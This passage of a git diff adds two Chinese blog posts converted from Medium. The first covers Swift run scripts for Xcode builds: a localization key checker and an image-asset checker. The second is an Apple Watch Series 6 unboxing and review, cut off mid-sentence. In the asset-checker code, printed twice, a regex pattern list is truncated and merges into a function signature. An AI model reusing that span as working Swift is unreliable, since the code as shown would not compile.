"/Localizable.strings:\(linesNumbers[key]!): " + + "error: [Duplication] \"\(key)\" " + + "is duplicated in \(name.uppercased()) file" + print(str) + numberOfErrors += 1 + } else { + keyValue[key] = value + linesNumbers[key] = lineNumber + 1 + } + } + } + print(ignoredFromSameTranslation) + ignoredFromSameTranslation[name] = ignoredTranslation + } + + func rebuildFileString(from lines: [String]) -> String { + return lines.reduce("") { (r: String, s: String) -> String in + (r == "") ? (r + s) : (r + "\n" + s) + } + } + + func removeEmptyLinesFromFile() { + let location = "\(path)/\(name).lproj/Localizable.strings" + if let string = try? String(contentsOfFile: location, encoding: .utf8) { + var lines = string.components(separatedBy: .newlines) + lines = lines.filter { $0.trimmingCharacters(in: .whitespaces) != "" } + let s = rebuildFileString(from: lines) + try? s.write(toFile: location, atomically: false, encoding: .utf8) + } + } + + func removeCommentsFromFile() { + let location = "\(path)/\(name).lproj/Localizable.strings" + if let string = try? String(contentsOfFile: location, encoding: .utf8) { + var lines = string.components(separatedBy: .newlines) + lines = lines.filter { !$0.hasPrefix("//") } + let s = rebuildFileString(from: lines) + try? s.write(toFile: location, atomically: false, encoding: .utf8) + } + } + + func sortLinesAlphabetically() { + let location = "\(path)/\(name).lproj/Localizable.strings" + if let string = try? String(contentsOfFile: location, encoding: .utf8) { + let lines = string.components(separatedBy: .newlines) + + var s = "" + for (i, l) in sortAlphabetically(lines).enumerated() { + s += l + if i != lines.count - 1 { + s += "\n" + } + } + try? s.write(toFile: location, atomically: false, encoding: .utf8) + } + } + + func removeEmptyLinesFromLines(_ lines: [String]) -> [String] { + return lines.filter { $0.trimmingCharacters(in: .whitespaces) != "" } + } + + func sortAlphabetically(_ lines: [String]) -> [String] { + return lines.sorted() + } +} + +// MARK: - Load Localisation Files in memory + +let masterLocalizationFile = LocalizationFiles(name: masterLanguage) +let localizationFiles = supportedLanguages + .filter { $0 != masterLanguage } + .map { LocalizationFiles(name: $0) } + +// MARK: - Detect Unused Keys + +let sourcesPath = FileManager.default.currentDirectoryPath + relativeSourceFolder +let fileManager = FileManager.default +let enumerator = fileManager.enumerator(atPath: sourcesPath) +var localizedStrings: [String] = [] +while let swiftFileLocation = enumerator?.nextObject() as? String { + // checks the extension + if swiftFileLocation.hasSuffix(".swift") || swiftFileLocation.hasSuffix(".m") || swiftFileLocation.hasSuffix(".mm") { + let location = "\(sourcesPath)/\(swiftFileLocation)" + if let string = try? String(contentsOfFile: location, encoding: .utf8) { + for p in patterns { + let regex = try? NSRegularExpression(pattern: p, options: []) + let range = NSRange(location: 0, length: (string as NSString).length) // Obj c wa + regex?.enumerateMatches(in: string, + options: [], + range: range, + using: { result, _, _ in + if let r = result { + let value = (string as NSString).substring(with: r.range(at: r.numberOfRanges - 1)) + localizedStrings.append(value) + } + }) + } + } + } +} + +var masterKeys = Set(masterLocalizationFile.keyValue.keys) +let usedKeys = Set(localizedStrings) +let ignored = Set(ignoredFromUnusedKeys) +let unused = masterKeys.subtracting(usedKeys).subtracting(ignored) +let untranslated = usedKeys.subtracting(masterKeys) + +// Here generate Xcode regex Find and replace script to remove dead keys all at once! +var replaceCommand = "\"(" +var counter = 0 +for v in unused { + var str = "\(path)/\(masterLocalizationFile.name).lproj/Localizable.strings:\(masterLocalizationFile.linesNumbers[v]!): " + str += "error: [Unused Key] \"\(v)\" is never used" + print(str) + numberOfErrors += 1 + if counter != 0 { + replaceCommand += "|" + } + replaceCommand += v + if counter == unused.count - 1 { + replaceCommand += ")\" = \".*\";" + } + counter += 1 +} + +print(replaceCommand) + +// MARK: - Compare each translation file against master (en) + +for file in localizationFiles { + for k in masterLocalizationFile.keyValue.keys { + if file.keyValue[k] == nil { + var str = "\(path)/\(file.name).lproj/Localizable.strings:\(masterLocalizationFile.linesNumbers[k]!): " + str += "error: [Missing] \"\(k)\" missing from \(file.name.uppercased()) file" + print(str) + numberOfErrors += 1 + } + } + + let redundantKeys = file.keyValue.keys.filter { !masterLocalizationFile.keyValue.keys.contains($0) } + + for k in redundantKeys { + let str = "\(path)/\(file.name).lproj/Localizable.strings:\(file.linesNumbers[k]!): " + + "error: [Redundant key] \"\(k)\" redundant in \(file.name.uppercased()) file" + + print(str) + } +} + +if checkForUntranslated { + for key in untranslated { + var str = "\(path)/\(masterLocalizationFile.name).lproj/Localizable.strings:1: " + str += "error: [Missing Translation] \(key) is not translated" + + print(str) + numberOfErrors += 1 + } +} + +print("Number of warnings : \(numberOfWarnings)") +print("Number of errors : \(numberOfErrors)") + +if numberOfErrors > 0 { + exit(1) +} + +func shell(_ command: String) -> String { + let task = Process() + let pipe = Pipe() + + task.standardOutput = pipe + task.arguments = ["-c", command] + task.launchPath = "/bin/bash" + task.launch() + + let data = pipe.fileHandleForReading.readDataToEndOfFile() + let output = String(data: data, encoding: .utf8)! + + return output +} +``` + + +> **_最後最後,還沒結束!_** + + + + + +當我們的 swift 檢查工具腳本都調試完成之後,要將其 **compile 成執行檔減少 build 花費時間** ,否則每次 build 都要重新 compile 一次(約能減少 90% 的時間)。 + +打開 terminal ,前往專案中檢查工具腳本所在目錄下執行: +```bash +swiftc -o Localize Localize.swift +``` + + +![](/assets/41c49a75a743/1*rwq_KZIDW-Lvtpd2xmgjDw.png) + + + +![](/assets/41c49a75a743/1*BCKtqshZxHH17j3nBGtNlg.png) + + +然後再回頭到 Build Phases 更改 Script 內容路徑成執行檔 + +EX: `${SRCROOT}/Localize` + + +![](/assets/41c49a75a743/1*ewhCXzXNuS0MCTMCuINWng.png) + + +**完工!** +#### 工具 2\. [**Asset Checker 👮**](https://github.com/s4cha/AssetChecker){:target="_blank"} **圖片資源檢查工具** + +**功能:** +- build 時自動檢查 +- 檢查圖片缺漏:名稱有呼叫,但圖片資源目錄內沒有出現 +- 檢查圖片多餘:名稱未使用,但圖片資源目錄存在的 + + +**安裝方法:** +1. [下載工具的 Swift Script 檔案](https://github.com/freshOS/AssetChecker/blob/master/Classes/main.swift){:target="_blank"} +2. 放到專案目錄下 EX: `${SRCROOT}/AssetChecker.swift` +3. 打開專案設定 → iOS Target → Build Phases →左上角「\+」 → New Run Script Phases → 在 Script 內容貼上路徑 + +```bash +${SRCROOT}/AssetChecker.swift ${SRCROOT}/專案目錄 ${SRCROOT}/Resources/Images.xcassets +//${SRCROOT}/Resources/Images.xcassets = 你 .xcassets 的位置 +``` + + +![](/assets/41c49a75a743/1*TPLS60W1iQiGFzU-inf3aA.png) + + +可直接將設定參數帶在路徑上,參數1:專案目錄位置、參數2:圖片資源目錄位置;或跟語系檢查工具一樣編輯 `AssetChecker.swift` 頂部參數設定區塊: +```swift +// Configure me \o/ + +// 專案目錄位置(用來搜索圖片有沒有在程式碼中使用到) +var sourcePathOption:String? = nil + +// .xcassets 目錄位置 +var assetCatalogPathOption:String? = nil + +// Unused 警告忽略項目 +let ignoredUnusedNames = [String]() +``` + +4\. Build! 成功! + +**檢查結果提示類型:** +- **Build Error** ❌ **:** +\- \[Asset Missing\] 項目在程式內有呼叫使用,但圖片資源目錄內沒有出現 +- **Build Warning** ⚠️ **:** +\- \[Asset Unused\] 項目在程式內未使用,但圖片資源目錄內有出現 +_p\.s 假設圖片是動態變數提供,檢查工具將無法識別,可將其加入 `ignoredUnusedNames` 中設為例外。_ + + +其他操作同語系檢查工具,這邊就不做贅述;最重要的事是也要 **記得調適完後要 compile 成執行檔,並更改 run script 內容為執行檔!** +#### 開發自己的工具! + + +> **_我們可以參考圖片資源檢查工具腳本:_** + + + + +```swift +#!/usr/bin/env xcrun --sdk macosx swift + +import Foundation + +// Configure me \o/ +var sourcePathOption:String? = nil +var assetCatalogPathOption:String? = nil +let ignoredUnusedNames = [String]() + +for (index, arg) in CommandLine.arguments.enumerated() { + switch index { + case 1: + sourcePathOption = arg + case 2: + assetCatalogPathOption = arg + default: + break + } +} + +guard let sourcePath = sourcePathOption else { + print("AssetChecker:: error: Source path was missing!") + exit(0) +} + +guard let assetCatalogAbsolutePath = assetCatalogPathOption else { + print("AssetChecker:: error: Asset Catalog path was missing!") + exit(0) +} + +print("Searching sources in \(sourcePath) for assets in \(assetCatalogAbsolutePath)") + +/* Put here the asset generating false positives, + For instance whne you build asset names at runtime +let ignoredUnusedNames = [ + "IconArticle", + "IconMedia", + "voteEN", + "voteES", + "voteFR" +] +*/ + + +// MARK : - End Of Configurable Section +func elementsInEnumerator(_ enumerator: FileManager.DirectoryEnumerator?) -> [String] { + var elements = [String]() + while let e = enumerator?.nextObject() as? String { + elements.append(e) + } + return elements +} + + +// MARK: - List Assets +func listAssets() -> [String] { + let extensionName = "imageset" + let enumerator = FileManager.default.enumerator(atPath: assetCatalogAbsolutePath) + return elementsInEnumerator(enumerator) + .filter { $0.hasSuffix(extensionName) } // Is Asset + .map { $0.replacingOccurrences(of: ".\(extensionName)", with: "") } // Remove extension + .map { $0.components(separatedBy: "/").last ?? $0 } // Remove folder path +} + + +// MARK: - List Used Assets in the codebase +func localizedStrings(inStringFile: String) -> [String] { + var localizedStrings = [String]() + let namePattern = "([\\w-]+)" + let patterns = [ + "#imageLiteral\\(resourceName: \"\(namePattern)\"\\)", // Image Literal + "UIImage\\(named:\\s*\"\(namePattern)\"\\)", // Default UIImage call (Swift) + "UIImage imageNamed:\\s*\\@\"\(namePattern)\"", // Default UIImage call + "\\ [String] { + let enumerator = FileManager.default.enumerator(atPath:sourcePath) + print(sourcePath) + + #if swift(>=4.1) + return elementsInEnumerator(enumerator) + .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") } // Only Swift and Obj-C files + .map { "\(sourcePath)/\($0)" } // Build file paths + .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents + .compactMap{$0} + .compactMap{$0} // Remove nil entries + .map(localizedStrings) // Find localizedStrings ocurrences + .flatMap{$0} // Flatten + #else + return elementsInEnumerator(enumerator) + .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") } // Only Swift and Obj-C files + .map { "\(sourcePath)/\($0)" } // Build file paths + .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents + .flatMap{$0} + .flatMap{$0} // Remove nil entries + .map(localizedStrings) // Find localizedStrings ocurrences + .flatMap{$0} // Flatten + #endif +} + + +// MARK: - Begining of script +let assets = Set(listAssets()) +let used = Set(listUsedAssetLiterals() + ignoredUnusedNames) + + +// Generate Warnings for Unused Assets +let unused = assets.subtracting(used) +unused.forEach { print("\(assetCatalogAbsolutePath):: warning: [Asset Unused] \($0)") } + + +// Generate Error for broken Assets +let broken = used.subtracting(assets) +broken.forEach { print("\(assetCatalogAbsolutePath):: error: [Asset Missing] \($0)") } + +if broken.count > 0 { + exit(1) +} +``` + +相較於語系檢查腳本,這個腳本簡潔且重要的功能都有,很有參考價值! + +_P\.S 可以看到程式碼出現 `localizedStrings()` 命名,懷疑作者是從語系檢查工具的邏輯搬來用,忘了改方法名稱XD_ + +**例如:** +```swift +for (index, arg) in CommandLine.arguments.enumerated() { + switch index { + case 1: + //參數1 + case 2: + //參數2 + default: + break + } +} +``` + +^接收外部參數的方法 +```swift +func elementsInEnumerator(_ enumerator: FileManager.DirectoryEnumerator?) -> [String] { + var elements = [String]() + while let e = enumerator?.nextObject() as? String { + elements.append(e) + } + return elements +} + +func localizedStrings(inStringFile: String) -> [String] { + var localizedStrings = [String]() + let namePattern = "([\\w-]+)" + let patterns = [ + "#imageLiteral\\(resourceName: \"\(namePattern)\"\\)", // Image Literal + "UIImage\\(named:\\s*\"\(namePattern)\"\\)", // Default UIImage call (Swift) + "UIImage imageNamed:\\s*\\@\"\(namePattern)\"", // Default UIImage call + "\\ [String] { + let enumerator = FileManager.default.enumerator(atPath:sourcePath) + print(sourcePath) + + #if swift(>=4.1) + return elementsInEnumerator(enumerator) + .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") } // Only Swift and Obj-C files + .map { "\(sourcePath)/\($0)" } // Build file paths + .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents + .compactMap{$0} + .compactMap{$0} // Remove nil entries + .map(localizedStrings) // Find localizedStrings ocurrences + .flatMap{$0} // Flatten + #else + return elementsInEnumerator(enumerator) + .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") } // Only Swift and Obj-C files + .map { "\(sourcePath)/\($0)" } // Build file paths + .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents + .flatMap{$0} + .flatMap{$0} // Remove nil entries + .map(localizedStrings) // Find localizedStrings ocurrences + .flatMap{$0} // Flatten + #endif +} +``` + +^遍歷所有專案檔案並進行正則匹配的方法 +```swift +//要讓 build 時出現 Error ❌: +print("Project檔案.lproj" + "/檔案:行: " + "error: 錯誤訊息") +//要讓 build 時出現 Warning ⚠️: +print("Project檔案.lproj" + "/檔案:行: " + "warning: 警告訊息") +``` + +^print error or warning + +可以綜合參考以上的程式方法,自己打造想要的工具。 +### 總結 + +這兩個檢查工具導入之後,我們在開發上就能更安心、更有效率並且減少冗餘;也因為這次經驗大開眼界,日後如果有什麼新的 build run script 需求都能直接使用最熟悉的語言 swift 來進行製作! + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/xcode-%E7%9B%B4%E6%8E%A5%E4%BD%BF%E7%94%A8-swift-%E6%92%B0%E5%AF%AB-run-script-41c49a75a743){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-10-14-eab0e984043.md b/_posts/zmediumtomarkdown/2020-10-14-eab0e984043.md new file mode 100644 index 000000000..954830231 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-10-14-eab0e984043.md @@ -0,0 +1,420 @@ +--- +title: "Apple Watch Series 6 開箱 & 兩年使用體驗" +author: "ZhgChgLi" +date: 2020-10-14T12:48:38.900+0000 +last_modified_at: 2023-08-05T16:51:33.384+0000 +categories: "ZRealm Life." +tags: ["apple","apple-watch-series-6","apple-watch","生活","開箱"] +description: "Apple Watch Series 6 開箱及選購指南&兩年使用體驗彙整" +image: + path: /assets/eab0e984043/1*g4nEVcKUt7Wwz3K4CeGQ3Q.jpeg +render_with_liquid: false +--- + +### Apple Watch Series 6 開箱 & 兩年使用心得 + +Apple Watch Series 6 開箱及選購指南&兩年使用心得體驗彙整 + +### 前言 + +時光飛逝,距離 [上一篇開箱 Apple Watch Series 4 的文章](../a2920e33e73e/) 也已經過了兩年了;以功能來說 Series 4 綽綽有餘沒有升級的必要,Series 5/Series 6 沒有什麼核心的突破功能,都是有會更好、沒有也沒關係的更新。 + +但因 [小鬼的新聞](https://tw.appledaily.com/gadget/20200917/WPQMTKQVPFFUPH6LE3R7SEXYAQ/){:target="_blank"} ,所幸將原有的 Series 4 LTE 版先給家人配戴使用了;LTE 版遇到狀況可以不受手機有沒有在身邊的限制,都能撥出緊急電話,相較 GPS 版更加安全。 + +個人的使用習慣是出門配戴,回家就拔下來充電,睡覺不會配戴,所以少了睡眠體驗的部分。 + +我 Series 4 買的是 LTE 版,但由於手機都會帶在身邊實在沒必要每個月多付 $199 月費開通,而且在手錶上回訊息很麻煩、接電話也要有 AirPods 才方便,再加上手錶上的 Spotify 純粹是播放控制器,無法離開 iPhone 獨立播放(只有 Apple Music/KKBOX 可) + + +> _and… 本人是 [iOS APP](http://zhgchg.li){:target="_blank"} / [watchOS APP 開發者](../e85d77b05061/)_ + + + + + +**\[2020–10–24 更新\]** :Spotify 已支援獨立播放,在手錶 Spotify APP 中選擇播放裝置\->Apple Watch\->連線藍牙耳機\->即可播放!(依然還不支援離線下載播放,需再有網路環境下才可使用)。 + + +![](/assets/eab0e984043/1*4OJsP_Nf56FV_U09zT429Q.jpeg) + +### Apple Watch Series 6 開箱 + +直接進入本文重頭戲。 +#### 下單 + +這次選擇 GPS 44'mm 鋁合金版賽普樂絲綠(軍綠),搭配我的 iPhone 11 Pro 軍綠。 + +沒有跟到第一批購買,我 **9/15 晚上下單:** +- 系統給的預估收到時間 10/16~10/19(可能剛好遇到大陸國慶長假) +- 10/10 通知發貨,預估 10/13 前就能拿到 +- 10/13 通知因海關延誤到貨日期可能稍有延誤 +- 實際 10/14 拿到,不過還是比原始預估收貨時間來得早了! + + + +![](/assets/eab0e984043/1*L1WWsE9Wos2J80cMI3D_ow.png) + +#### 開箱 + + +![Apple Watch \+ 犀牛盾保護殼組](/assets/eab0e984043/1*BiF37jARMzzacX3BkmM2GA.jpeg) + +Apple Watch \+ 犀牛盾保護殼組 + + +![翻開背面,開箱!](/assets/eab0e984043/1*-Ww0KdGfsV49E3JajrVWIw.jpeg) + +翻開背面,開箱! + +開箱全過程完全用不到刀子,一路撕到底。 + + +![Open\!](/assets/eab0e984043/1*1-Tl0_IG01Y7huWSJz53dA.jpeg) + +Open\! + +一個錶帶一個機體。 + + +![這一代包裝厚度明顯減少許多(少了豆腐頭)](/assets/eab0e984043/1*tYgmD1OzlgnAS9nuQk-nIg.jpeg) + +這一代包裝厚度明顯減少許多(少了豆腐頭) + + +![機體開箱](/assets/eab0e984043/1*G3Xz6ldbWMH2dSXUUq3YbQ.jpeg) + +機體開箱 + +只附磁吸充電線。 + + +![機體特寫](/assets/eab0e984043/1*IwkrL1jkpLxLM0niCexO5w.jpeg) + +機體特寫 + +這次機體的保護材質改為紙製的,上一代我記得是黑色的絨布。 + + +![錶帶開箱](/assets/eab0e984043/1*23f5LuZPxgumKwv-uw8jPQ.jpeg) + +錶帶開箱 + + +![組合!](/assets/eab0e984043/1*jeBcjfEBk_fzOkf6NQzSFA.jpeg) + +組合! + + +![背面](/assets/eab0e984043/1*558f_dP6jqOUMFs7Jbq1Ug.jpeg) + +背面 + +組合時可先安裝上半部錶帶,再拉掉紙質保護套,比較不容易手滑。 + + +![Apple Watch 6 \+ iPhone 11 Pro](/assets/eab0e984043/1*uVSuIOZpbQxpP154rw9Mug.jpeg) + +Apple Watch 6 \+ iPhone 11 Pro + + +![with 奧樂雞](/assets/eab0e984043/1*A1wbGrbuRIf2smLNOFbgVw.jpeg) + +with 奧樂雞 + + +![泳圈雞](/assets/eab0e984043/1*oR7D0hcLOnih9qQbwE-iSA.jpeg) + +泳圈雞 + + +![Apple Watch 6 with 犀牛盾保護殼](/assets/eab0e984043/1*g4nEVcKUt7Wwz3K4CeGQ3Q.jpeg) + +Apple Watch 6 with 犀牛盾保護殼 + + +![](/assets/eab0e984043/1*tw5rcZbEpBxKRuR862Tehw.jpeg) + + + +![血氧測試](/assets/eab0e984043/1*eUQdY4mAieGJ2Dunx1kZ0g.jpeg) + +血氧測試 + +玩一下這代的主打功能。 + + +![隨顯螢幕休眠 vs 顯示時](/assets/eab0e984043/1*w6hqaHCPrS8zqKh5QU-nVg.jpeg) + +隨顯螢幕休眠 vs 顯示時 + +挺好的現在開始螢幕不會熄滅,不用抬腕等螢幕亮查看消息! + + +> _開箱結束。_ + + + + +### 兩年使用心得彙整 + +整理一下這兩年的使用感覺和我自己的選購指南。 +#### 提升生活體驗增加專注力 + +Apple Watch 作為手機的延伸,定位在手機與人之間的緩衝;我們目前對電子產品的依賴就是直面手機、直面紛紛擾擾的通知資訊。 + +不知道你是否跟我一樣覺得手機的通知很嚇人,即使是震動所發出的聲音也是,有時收到通知心臟也跟著抖了一下;接著下意識就拿出手機看了看,重要的事再接著處理、不重要的話就收起手機;然後這個流程每天不斷的重複在生活之中… + +雖然你大可以關閉聲音通知、關閉靜音時震動、甚至關閉所有通知功能;但另一方面你也因此與世界脫鉤,錯過了真的重要的通知訊息,結果產生另一種無時無刻都拿手機出來檢查的焦慮。 + +綜合以上狀況 Apple Watch 就能在其中充當潤滑劑,在人與手機之間多加了一個漏斗進行過濾,手錶配戴中&手機休眠時僅手錶會通知,可以設定特定 APP 的通知才會傳到手錶、關閉特定 APP 通知聲音/震動。 + +你可能會說,這些設定不是跟手機一樣?但就體驗來說,手錶的聲音/震動更為輕柔不干擾,即使你關閉聲音/震動也能在抬腕時快速查看有無通知。 + +日常體驗的提升在及增加專注力的方式就是在手錶上快速 Review 通知訊息,然後決定要繼續當前的工作,還是拿出手機處理訊息內容;中間被打斷的時間非常短(就是看手錶的時間)、也避免一直拿出手機會分心其他事情,增加做事效率。 +#### 健康生活、記錄運動 + + +![](/assets/eab0e984043/1*-DI6bScq4rexoxItcy1jwA.jpeg) + + +透過有 Apple Watch 才能使用的獨佔的「健身」APP,能記錄你一天的生活,包含每天活動量、走路、心跳、運動紀錄,活動量增減統計、更仔細的健康資訊;社群方面還能與朋友競賽活動量、解鎖勳章,增加運動動力。 + +不過運動很看人,會運動的人還是會運動、不會運動的人也不會因為手錶而去運動;他頂多就是增加了運動的紀錄跟趣味性。 +#### Apple Pay + +手機都不用拿出來手錶按兩下就能感應付款,非常方便;尤其在已經大包小包的時候,沒有多餘的手去口袋掏手機出來時;另外也能安裝有支援 Apple Watch APP 的發票 APP,先點 APP 開載具條碼讓店員掃,然後再按兩下叫出 Apple Pay 付款。 + +我個人最常見的使用習慣是用手機 widget 讓店員掃載具或是會員條碼(如 7–11/全家,因他們也沒提供 Apple Watch APP),然後在快速按兩下手錶叫出 Apple Pay,同一隻手感應付款。 + + +> _存裡面,不用收據。_ + + + + +#### 個人風格隨你搭配 + +錶面、錶帶都能隨時依照你的心情更換;錶面固定了幾個,幾個上班用、幾個放假用;錶帶這兩年買了四條…有皮革的、有金屬的、有編織的,還有保護殼顏色更換…根據穿搭搭配。 +#### 蘋果全家桶連動 +1. 手錶可直接解鎖 Mac 電腦 +2. 手錶可一鍵查找手機(強迫手機發出嘟嘟聲) +3. 手錶可當藍芽自拍按鈕,控制手機鏡頭拍照 + +#### 查看天氣 + +個人很習慣看手錶的當前天氣狀況、降雨機率,一目瞭然;我用手機看都要點好幾層才能看到我要的資訊。 +#### 鬧鐘及計時 + +倒數計時器跟鬧鐘也是我很愛用的功能,可以快速在手錶上啟動倒數計時器,在配戴手錶的情況下計時器到跟鬧鐘響時都會透過手錶通知你(如果手錶開靜音則用手錶震動提醒你) + +個人覺得非常舒服,尤其是想自己小憩一下時,怕鬧鐘鈴聲或手機鬧鐘震動會打擾到其他同事。 +#### 地圖 + +騎機車時蠻好用的,可以 **直接查看路線地圖** 、路線/轉彎震動提示;但缺點就是地圖沒有針對機車優化,要 **自己注意禁行機車路線** ,路線規劃能力普通。 + + +![手錶查看路線地圖](/assets/eab0e984043/1*vSQpbnXNtR_OoC6-ygp0sw.jpeg) + +手錶查看路線地圖 + +Google Map 最近重回 Apple Watch ,但沒辦法直接查看路線地圖,只有文字導航提示功能。 +#### 跌倒偵測 + +因最近大家很注意這個項目,特別列出來分享個人觸發經驗;有一次坐車上車時左手快速且大力地蹬了一下座椅,觸發成功跌倒偵測;搭會先瘋狂連續震動和發出聲音呼叫你,看你有沒有意識,如果不理他 30 秒後就會播打緊急電話及通知設定的緊急聯絡人。 + +[Apple Watch 跌倒偵測 實測,1分鐘打給119救援。](https://www.youtube.com/watch?v=qU3MlNCjCbY){:target="_blank"} + + +> _\- watchOS 5 之前是超過 65 歲才會預設開啟跌倒偵測、小於 65 歲預設是關閉的;這部分可以確認一下設定。_ + + + + + +> _\- 緊急聯絡人可指定多位,需事先設定。_ + + + + +#### 推薦安裝的 APP + +有看過 [前一篇開箱](../a2920e33e73e/) 的朋友,那篇文章除了開箱、使用教學,還有一些 APP 推薦;老實說後來我都刪了,只留內建的 APP 跟一些常用的通訊軟體;因為只有一開始新奇會裝一堆 APP,後來也都沒在用。 + +說實話需要複雜操作的時候你會用手機,手錶真的只需要快速而已。 +### Apple Watch 這兩年的發展 + +如同前述,Series 4 與 Series 6 功能、產品定位方面都沒有變;都是 iPhone 手機的延伸,並非要取代 iPhone;這兩年並沒有突破性功能,續航也還是一天一充。 + +第三方 APP 方面兩年來沒新增多少,但有越來越多的趨勢;Line、Goolge Map 最近更新也都加強了 Apple Watch APP 部分,沒有被遺忘。 + +之前寫過一篇文章分享 [自己動手做 Apple Watch APP](../e85d77b05061/) 的經驗,基於 watchOS 5 開發,可以發現官方開放的功能很少(目前也差不多),所以第三方能發揮的空間有限以至於 APP 很少。 +#### watchOS + +目前已更新到 watchOS 7,同 iOS 一年一更。 + +**watchOS 6:** 加入環境噪音偵測、月經記錄(適合女性朋友)、網路對講機 + +**watchOS 7:** 加入睡眠追蹤功能、洗手時洗手時間輔助提示、家庭共享功能 +#### watchOS 7 [家庭共享功能](https://www.apple.com/tw/newsroom/2020/09/apple-extends-the-apple-watch-experience-to-the-entire-family/){:target="_blank"} (僅限 LTE 版) + +這部分我因為把原本 Series 4 手錶讓給家人有實際體驗過,可 [參考此開箱影片](https://youtu.be/DMXGSGJDc8c?t=509){:target="_blank"} ;這功能手錶是綁在你的手機上、手錶要在附近才能更改設定,設定流程完成後部分設定無法再調整要重新設定,被共享的家人只能使用,不能自行客製化。 + +好處是配戴者不一定要是 iPhone 用戶! + + +> _根據 [官網資料](https://support.apple.com/zh-tw/HT211768){:target="_blank"} ,此功能僅限配備行動網路 LTE 版 Series 4 後續機型才能使用!_ + + + + + + +![](/assets/eab0e984043/1*6vhS-oSmLhVFCGWMGJIOag.png) + +### 選購指南 +#### 到底該不該買? + +我想會看到這邊的朋友,80% 都已經想買了;我覺得如果是科技愛好者值得買來玩玩、如果手錶對你來說是配件,同樣的價格可以買到更美的、如果是只為了運動而買,有更好的運動錶可以考慮,Apple Watch 偏綜合需求及增強體驗所設計。 +1. 小鬼的案例其實有 Apple Watch 也無法避免 +因小鬼是洗完澡出浴室時跌倒,Apple Watch **防水但並不防水蒸氣** ,如果時常戴手錶洗澡很容易就壞掉了、另外因為要一天一充一般都是洗澡時拔下來充電,也不會配戴。 +2. 依然還只是手機的延伸、蘋果實驗性產品 +3. 一天一充,出門也都要帶充電器 +4. 在從 Series 4 更換到 Series 6 時中間隔了兩三週都沒戴,個人感覺也沒差。 + +#### Series 6 or SE or 二手 Series 4/5? + +性能上都很足夠再撐個3~5年都還行,有預算當然買新不買舊,追求 CP 值可以購買 SE ,如果預算有限可以買二手 Series 4/5/LTE版,較好入手。 + + +> _Apple Watch 僅能與 iPhone 配對( **Android 手機、iPad 都無法** ),另外也要考慮當前手機 iOS 版本, **watchOS 7 僅限配對 iOS ≥ 14 以上機種**_ ( _watchOS 6 => iOS ≥ 13/watchOS 5 => iOS ≥ 12)_ + + +> _iPhone 要先升級到相對應的最低 iOS 版本才能配對使用。_ + + + + + +Series 6 / SE 不附豆腐充電頭。 + +watchOS 7 的 [家庭共享功能](https://www.apple.com/tw/newsroom/2020/09/apple-extends-the-apple-watch-experience-to-the-entire-family/){:target="_blank"} (可查看小孩動向狀態、老人健康狀況) **只限 Series 4 以上版本或 SE 版** 。 +#### 鋁合金 or 不鏽鋼 or 鈦金屬? + + +![不鏽鋼版本 (感謝同事友情支援)](/assets/eab0e984043/1*mAGXLi2ant1ycZAjJxkdUQ.jpeg) + +不鏽鋼版本 (感謝同事友情支援) + +看你怎麼定位這隻錶,如果是新奇好玩買鋁合金就好;如果要加強飾品配件屬性則買不鏽鋼以上版本,更美更好搭。 + +鋁合金版二手市場需求較多,新一代出來比較好脫手(我的 Series 4 還能賣到 7~8千)。 + +鋁合金版的機身跟玻璃都較脆弱、螢幕玻璃也不抗刮,建議再多買保護殼\+貼滿版保護貼。 + +保護殼(約 $400)\+ 保護貼建議找水凝貼、果凍貼(約 $800)否則容易遇到不貼合問題;總計約再多\+ $1500 鋁合金版也能有完整的保護。 + + +> _另外附上血淚教訓,如果你有貼保護貼一定要買保護殼否則容易碎邊(我因為這樣重貼了三張損失快 $3000)、保護貼一定要找好的能貼合的不然會很難用,都是浪費$。_ + + + + + + +![小豪包膜的 HAO 果凍膠滿版玻璃保護貼](/assets/eab0e984043/1*_MqU1EPSzArqKUI_Gr5Ttg.jpeg) + +小豪包膜的 HAO 果凍膠滿版玻璃保護貼 + +全透明&全膠完全貼合,不影響滑動順暢跟顯示。 + + +![犀牛盾\+保護貼](/assets/eab0e984043/1*kxIs3i4j2frhC5dV_YQXdw.jpeg) + +犀牛盾\+保護貼 + + +> _螢幕會變稍微厚一點點,所以內框可能會有一點浮起(看保護殼的公差),不過卡扣都還是扣得進去。_ + + + + + +> _小豪包膜是說建議不要多塞犀牛盾的內框會比較容易擠壓到保護貼,只用外框就好;但我 Series 4 這個狀態用了兩年都沒事,所以大家就自行斟酌囉。_ + + + + +#### 40mm or 44mm? + +看你手的粗細,男生一般建議戴 44,太小有點怪。 + + +> _如果你要買鋁合金\+保護殼要考慮加上保護殼的大小會不會太大。_ + + + + +#### GPS or LTE 行動網路版? + +考量到之前買 LTE 都沒用這次改買 GPS 版了,便宜 $ 3000。 + +GPS or LTE 的考量點除了你會不會有場景會只戴手錶出門,還有最近大家最在意的跌倒報警功能, **GPS 版僅限手機在身邊或手錶有辦法連到當前網路環境 WiFi 下,手錶連線到手機進行緊急報警** (若條件無法成立則一樣無法通知報警);LTE 版則可獨立運作,相對更安全;手機與手錶間通訊也是一樣,GPS版或未開通 LTE,則透過手機在手錶附近、手錶有辦法連到當前網路環境 WIFI 下進行通訊。 + + +> _手錶有辦法連到當前網路環境 WiFi 的意思是,手機、手錶曾經連線過此 WiFi ,系統有紀錄能直接連線。_ + + + + + +watchOS 7 的 [家庭共享功能](https://www.apple.com/tw/newsroom/2020/09/apple-extends-the-apple-watch-experience-to-the-entire-family/){:target="_blank"} (可查看小孩動向狀態、老人健康狀況) **只有 LTE 版能使用** ,因為 